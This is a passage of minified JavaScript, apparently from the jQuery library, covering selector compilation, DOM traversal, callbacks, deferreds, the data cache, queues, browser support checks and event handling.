r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[\" \"],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return!g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++)if(c=d.relative[a[j].type])m=[qb(rb(m),c)];else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++)if(d.relative[a[e].type])break;return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:\" \"===a[j-2].type?\"*\":\"\"})).replace(P,\"$1\"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q=\"0\",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG(\"*\",k),w=u+=null==t?1:Math.random()||.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++])if(o(m,g,i)){j.push(m);break}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++])o(r,s,g,i);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=E.call(j));s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+\" \"];if(!f){b||(b=ob(a)),c=b.length;while(c--)f=ub(b[c]),f[s]?d.push(f):e.push(f);f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++)db(a,b[d],c);return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&\"ID\"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b)return e;a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type])break;if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a)return G.apply(e,f),e;break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split(\"\").sort(z).join(\"\")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement(\"div\"))}),gb(function(a){return a.innerHTML=\"<a href='#'></a>\",\"#\"===a.firstChild.getAttribute(\"href\")})||hb(\"type|href|height|width\",function(a,b,c){return c?void 0:a.getAttribute(b,\"type\"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML=\"<input/>\",a.firstChild.setAttribute(\"value\",\"\"),\"\"===a.firstChild.getAttribute(\"value\")})||hb(\"value\",function(a,b,c){return c||\"input\"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute(\"disabled\")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[\":\"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,w=/^.[^:#\\[\\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if(\"string\"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=\":not(\"+a+\")\"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if(\"string\"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+\" \"+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,\"string\"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a)return this;if(\"string\"==typeof a){if(c=\"<\"===a.charAt(0)&&\">\"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return y.find(a);this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?\"undefined\"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||\"string\"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?\"string\"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return n.dir(a,\"parentNode\",c)},next:function(a){return E(a,\"nextSibling\")},prev:function(a){return E(a,\"previousSibling\")},nextAll:function(a){return n.dir(a,\"nextSibling\")},prevAll:function(a){return n.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return n.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return n.dir(a,\"previousSibling\",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return\"Until\"!==a.slice(-5)&&(d=c),d&&\"string\"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a=\"string\"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);\"function\"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&\"string\"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},n.extend({Deferred:function(a){var b=[[\"resolve\",\"done\",n.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",n.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",n.Callbacks(\"memory\")]],c=\"pending\",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+\"With\"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+\"With\"](this===e?d:this,arguments),this},e[f[0]+\"With\"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body)return setTimeout(n.ready);n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger(\"ready\").off(\"ready\"))}}});function J(){z.addEventListener?(z.removeEventListener(\"DOMContentLoaded\",K,!1),a.removeEventListener(\"load\",K,!1)):(z.detachEvent(\"onreadystatechange\",K),a.detachEvent(\"onload\",K))}function K(){(z.addEventListener||\"load\"===event.type||\"complete\"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),\"complete\"===z.readyState)setTimeout(n.ready);else if(z.addEventListener)z.addEventListener(\"DOMContentLoaded\",K,!1),a.addEventListener(\"load\",K,!1);else{z.attachEvent(\"onreadystatechange\",K),a.attachEvent(\"onload\",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll(\"left\")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}return I.promise(b)};var L=\"undefined\",M;for(M in n(l))break;l.ownLast=\"0\"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName(\"body\")[0];c&&(a=z.createElement(\"div\"),a.style.cssText=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\",b=z.createElement(\"div\"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText=\"border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1\",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement(\"div\");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+\" \").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute(\"classid\")===b};var N=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d=\"data-\"+b.replace(O,\"-$1\").toLowerCase();if(c=a.getAttribute(d),\"string\"==typeof c){try{c=\"true\"===c?!0:\"false\"===c?!1:\"null\"===c?null:+c+\"\"===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0}return c}function Q(a){var b;for(b in a)if((\"data\"!==b||!n.isEmptyObject(a[b]))&&\"toJSON\"!==b)return!1;return!0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||\"string\"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),(\"object\"==typeof b||\"function\"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),\"string\"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(\" \")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{\"applet \":!0,\"embed \":!0,\"object \":\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,\"parsedAttrs\"))){c=g.length;while(c--)d=g[c].name,0===d.indexOf(\"data-\")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]));n._data(f,\"parsedAttrs\",!0)}return e}return\"object\"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||\"fx\")+\"queue\",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||\"fx\";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};\"inprogress\"===e&&(e=c.shift(),d--),e&&(\"fx\"===b&&c.unshift(\"inprogress\"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks(\"once memory\").add(function(){n._removeData(a,b+\"queue\"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a&&(b=a,a=\"fx\",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),\"fx\"===a&&\"inprogress\"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};\"string\"!=typeof a&&(b=a,a=void 0),a=a||\"fx\";while(g--)c=n._data(f[g],a+\"queueHooks\"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var T=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,U=[\"Top\",\"Right\",\"Bottom\",\"Left\"],V=function(a,b){return a=b||a,\"none\"===n.css(a,\"display\")||!n.contains(a.ownerDocument,a)},W=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if(\"object\"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement(\"div\"),c=z.createElement(\"input\");if(b.setAttribute(\"className\",\"t\"),b.innerHTML=\" <link/><table></table><a href='/a'>a</a>\",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName(\"tbody\").length,l.htmlSerialize=!!b.getElementsByTagName(\"link\").length,l.html5Clone=\"<:nav></:nav>\"!==z.createElement(\"nav\").cloneNode(!0).outerHTML,c.type=\"checkbox\",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML=\"<textarea>x</textarea>\",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML=\"<input type='radio' checked='checked' name='t'/>\",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent(\"onclick\",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement(\"div\");for(b in{submit:!0,change:!0,focusin:!0})c=\"on\"+b,(l[b+\"Bubbles\"]=c in a)||(d.setAttribute(c,\"t\"),l[b+\"Bubbles\"]=d.attributes[c].expando===!1);d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\\.(.+)|)$/;function bb(){return!0}function cb(){return!1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||\"\").match(F)||[\"\"],h=b.length;while(h--)f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||\"\").split(\".\").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(\".\")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent(\"on\"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||\"\").match(F)||[\"\"],j=b.length;while(j--)if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||\"\").split(\".\").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp(\"(^|\\\\.)\"+p.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&(\"**\"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,\"events\"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,\"type\")?b.type:b,q=j.call(b,\"namespace\")?b.namespace.split(\".\"):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(\".\")>=0&&(q=p.split(\".\"),p=q.shift(),q.sort()),g=p.indexOf(\":\")<0&&\"on\"+p,b=b[n.expando]?b:new n.Event(p,\"object\"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join(\".\"),b.namespace_re=b.namespace?new RegExp(\"(^|\\\\.)\"+q.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped())b.type=m>1?i:k.bindType||p,f=(n._data(h,\"events\")||{})[b.type]&&n._data(h,\"handle\"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,\"events\")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||\"click\"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||\"click\"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+\" \",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[n.expando])return a;var b,c,d,e=a.type,f=a,g=this.fixHooks[e];g||(this.fixHooks[e]=g=$.test(e)?this.mouseHooks:Z.test(e)?this.keyHooks:{}),d=g.props?this.props.concat(g.props):this.props,a=new n.Event(f),b=d.length;while(b--)c=d[b],a[c]=f[c];return a.target||(a.target=f.srcElement||z),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,g.filter?g.filter(a,f):a},props:\"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,b){var c,d,e,f=b.button,g=b.fromElement;return null==a.pageX&&null!=b.clientX&&(d=a.target.ownerDocument||z,e=d.documentElement,c=d.body,a.pageX=b.clientX+(e&&e.scrollLeft||c&&c.scrollLeft||0)-(e&&e.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(e&&e.scrollTop||c&&c.scrollTop||0)-(e&&e.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&g&&(a.relatedTarget=g===a.target?b.toElement:g),a.which||void 0===f||(a.which=1&f?1:2&f?3:4&f?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==db()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:\"focusin\"},blur:{trigger:function(){return this===db()&&this.blur?(this.blur(),!1):void 0},delegateType:\"focusout\"},click:{trigger:function(){return n.nodeName(this,\"input\")&&\"checkbox\"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,\"a\")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c,d){var e=n.extend(new n.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?n.event.trigger(e,null,b):n.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=z.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){var d=\"on\"+b;a.detachEvent&&(typeof a[d]===L&&(a[d]=null),a.detachEvent(d,c))},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&(a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault())?bb:cb):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={isDefaultPrevented:cb,isPropagationStopped:cb,isImmediatePropagationStopped:cb,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=bb,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=bb,a&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=bb,this.stopPropagation()}},n.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return(!e||e!==d&&!n.contains(d,e))&&(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),l.submitBubbles||(n.event.special.submit={setup:function(){return n.nodeName(this,\"form\")?!1:void n.event.add(this,\"click._submit keypress._submit\",function(a){var b=a.target,c=n.nodeName(b,\"input\")||n.nodeName(b,\"button\")?b.form:void 0;c&&!n._data(c,\"submitBubbles\")&&(n.event.add(c,\"submit._submit\",function(a){a._submit_bubble=!0}),n._data(c,\"submitBubbles\",!0))})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&n.event.simulate(\"submit\",this.parentNode,a,!0))},teardown:function(){return n.nodeName(this,\"form\")?!1:void n.event.remove(this,\"._submit\")}}),l.changeBubbles||(n.event.special.change={setup:function(){return Y.test(this.nodeName)?((\"checkbox\"===this.type||\"radio\"===this.type)&&(n.event.add(this,\"propertychange._change\",function(a){\"checked\"===a.originalEvent.propertyName&&(this._just_changed=!0)}),n.event.add(this,\"click._change\",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1),n.event.simulate(\"change\",this,a,!0)})),!1):void n.event.add(this,\"beforeactivate._change\",function(a){var 